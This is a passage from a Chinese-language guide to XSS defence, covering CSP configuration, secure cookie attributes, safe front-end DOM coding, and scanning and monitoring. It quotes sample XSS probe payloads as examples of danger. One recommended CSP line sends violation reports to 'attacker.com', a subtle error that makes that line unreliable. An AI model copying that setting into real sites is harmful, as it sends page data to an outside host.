`eval`、`setTimeout` 等执行动态脚本的函数（不推荐） | `script-src 'self' 'unsafe-eval'`（允许本站脚本和 eval 函数） | | `nonce-xxx` | 允许带有特定 nonce 的内联脚本（比 `unsafe-inline` 安全），nonce 需每次请求随机生成 | `script-src 'self' 'nonce-abc123'`； 内联脚本：`<script nonce="abc123">alert(1)</script>` | | `hash-xxx` | 允许哈希值匹配的内联脚本（无需 nonce，适合静态内联脚本） | 脚本 `alert(1)` 的 SHA-256 哈希为 `xxx`，配置：`script-src 'self' 'sha256-xxx'` | #### （2）CSP 配置示例（两种方式） ##### 方式 1：通过 HTTP 响应头配置（推荐，优先级高） 在服务器端配置响应头（如 Nginx、Apache、Java 后端）： - Nginx 配置（在server或location块中）： ```nginx add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self';" always; ``` - Java Spring Boot 配置（通过拦截器添加响应头）： ```java @Component public class CspInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader("Content-Security-Policy", "default-src 'self'; " + "script-src 'self' https://cdn.jsdelivr.net; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data:; " + "object-src 'none'; " + "base-uri 'self'"); return true; } } ``` ##### 方式 2：通过 HTML `<meta>` 标签配置（适用于无法修改服务器响应头的场景） 在 HTML 的 `<head>` 标签中添加： ```html <head> <meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self' "> </head> ``` #### （3）CSP 配置原则 1. **最小权限**：仅允许必要的资源来源（如 `script-src` 仅配置本站和可信 CDN，不使用 `*`）； 2. **禁止 unsafe-inline 和 unsafe-eval**：除非有不可替代的业务需求（如旧框架依赖），否则尽量避免； 3. **使用 nonce/hash 替代 unsafe-inline**：若需内联脚本，用 nonce（每次请求随机生成）或 hash（静态脚本的哈希值），提高安全性； 4. **逐步迁移**：若现有系统依赖大量内联脚本，可先配置 `script-src 'self' 'unsafe-inline'`，再逐步移除内联脚本，最终禁用 `unsafe-inline`； 5. **监控 CSP 违规**：配置 `report-uri https://attacker.com/csp-report`（或 `report-to`），收集 CSP 违规日志，及时发现未覆盖的风险点。 ### 4. Cookie 安全：HttpOnly 与 Secure 属性 HttpOnly 和 Secure 属性虽无法防御 XSS 本身，但可防止 XSS 窃取会话 Cookie，降低 “会话劫持” 风险： #### （1）HttpOnly 属性 - **作用**：禁止 JavaScript 读取 Cookie（`document.cookie` 无法获取该 Cookie），仅允许浏览器在 HTTP 请求中自动携带； - **适用场景**：所有认证相关的 Cookie（如 `SESSIONID`、`JWT`）； - 配置示例（Java）： ```java Cookie sessionCookie = new Cookie("SESSIONID", sessionId); sessionCookie.setHttpOnly(true); // 开启 HttpOnly sessionCookie.setPath("/"); response.addCookie(sessionCookie); ``` #### （2）Secure 属性 - **作用**：仅允许 Cookie 在 HTTPS 协议下传输，防止 HTTP 协议被中间人攻击窃取 Cookie； - **适用场景**：所有生产环境的 Cookie（尤其是认证 Cookie）； - 配置示例（Nginx）： ```nginx # 仅在 HTTPS 下设置 Cookie，并添加 Secure 属性 add_header Set-Cookie "SESSIONID=$sessionId; HttpOnly; Secure; Path=/; SameSite=Lax" always; ``` #### （3）SameSite 属性（结合 CSRF 防御） - **作用**：限制 Cookie 跨站携带，防止 XSS 结合 CSRF 滥用 Cookie； - 配置示例（PHP）： ```php setcookie("SESSIONID", $sessionId, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Lax', // 或 Strict 'path' => '/' ]); ``` ### 5. 前端安全编码实践 前端框架（如 Vue、React）虽自带部分 XSS 防护，但仍需遵循安全编码规范，避免引入 DOM 型 XSS： #### （1）避免危险的 DOM 操作 API - **禁止使用**：`innerHTML`、`outerHTML`、`document.write`、`eval`、`setTimeout(string)`、`setInterval(string)`（这些 API 会执行插入的脚本）； - **推荐使用**：`textContent`（仅渲染文本，不解析 HTML）、`setAttribute`（安全设置属性值）； **示例（Vue 框架安全实践）**： ```vue <template> <!-- 危险：v-html 会解析 HTML，可能触发 XSS --> <div v-html="userInput"></div> <!-- 安全：直接渲染文本，Vue 会自动编码 --> <div>{{ userInput }}</div> </template> <script> export default { data() { return { userInput: "<script>alert(1)</script>" // 用户输入 }; } }; </script> ``` #### （2）处理 URL 哈希和参数 - 读取 `location.hash`、`location.search` 后，需进行编码或过滤，再插入 DOM； - 示例（安全处理 URL 哈希）： ```javascript // 危险：直接用 innerHTML 插入哈希值 var hash = location.hash.slice(1); document.getElementById("result").innerHTML = hash; // 若哈希为 <img src=x onerror=alert(1)>，会触发 XSS // 安全：用 textContent 插入，或先编码 document.getElementById("result").textContent = hash; // 仅渲染文本，无风险 // 或 HTML 编码后插入 document.getElementById("result").innerHTML = htmlEscape(hash); // htmlEscape 为自定义编码函数 ``` #### （3）清理第三方脚本和组件 - 仅引入官方或可信来源的第三方脚本（如 jQuery、Vue），避免使用未知来源的脚本； - 定期更新第三方组件（如富文本编辑器、表单插件），修复已知的 XSS 漏洞； - 示例（安全引入第三方脚本）： ```html <!-- 安全：引入官方 CDN 的 jQuery，避免引入未知脚本 --> <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script> <!-- 危险：引入未知来源的脚本，可能被篡改注入恶意代码 --> <script src="https://untrusted.com/jquery.min.js"></script> ``` ### 6. 漏洞扫描与持续监控 XSS 漏洞可能因代码迭代、第三方组件更新而引入，需建立 “定期扫描 + 实时监控” 机制： #### （1）定期自动化扫描 - 使用工具（如 Burp Suite、OWASP ZAP、Nessus）定期扫描所有输入点，检测潜在 XSS 漏洞； - 集成到 CI/CD 流程（如 Jenkins），每次代码提交后自动执行 XSS 扫描，阻断有漏洞的代码上线； #### （2）实时监控 CSP 违规和异常请求 - 配置 CSP `report-uri`，收集浏览器发送的 CSP 违规日志（如尝试加载未授权脚本、执行内联脚本）； - 监控异常请求（如大量包含 `<script>`、`onerror` 的请求），可能是攻击者在探测 XSS 注入点； #### （3）用户反馈与应急响应 - 提供用户反馈渠道（如 “举报漏洞” 按钮），鼓励用户发现并报告页面异常（如弹窗、内容篡改）； - 制定 XSS 漏洞应急响应流程：发现漏洞后，立即下线受影响页面，修复代码，清理存储的恶意内容（如存储型 XSS 的评论），通知受影响用户（如重置会话 Cookie）。 ## 总结 XSS 作为 Web 应用的 “常青藤” 漏洞，其攻击形式灵活（存储型 / 反射型 / DOM 型）、绕过手段多样（过滤绕过、CSP 绕过），但防御核心逻辑清晰 ——**“输入过滤减少恶意内容，输出编码确保文本渲染，CSP 阻断脚本执行，Cookie 保护降低危害”**。 对于开发者而言，需牢记以下关键原则： 1. **输出编码是根本**：无论输入是否过滤，输出到页面时必须根据上下文进行对应编码，这是防御 XSS 的最后一道防线； 2. **CSP 是现代防御核心**：优先通过 CSP 限制脚本执行来源，禁止内联脚本和 eval，从执行层面阻断 XSS； 3. **避免危险 API**：前端开发禁用 `innerHTML`、`eval` 等危险 API，使用 `textContent` 等安全替代方案； 4. **Cookie 安全不可忽视**：所有认证 Cookie 必须开启 HttpOnly 和 Secure，防止 XSS 窃取会话； 5. **持续监控与更新**：定期扫描漏洞，更新第三方组件，建立应急响应机制，及时处理新发现的 XSS 风险。
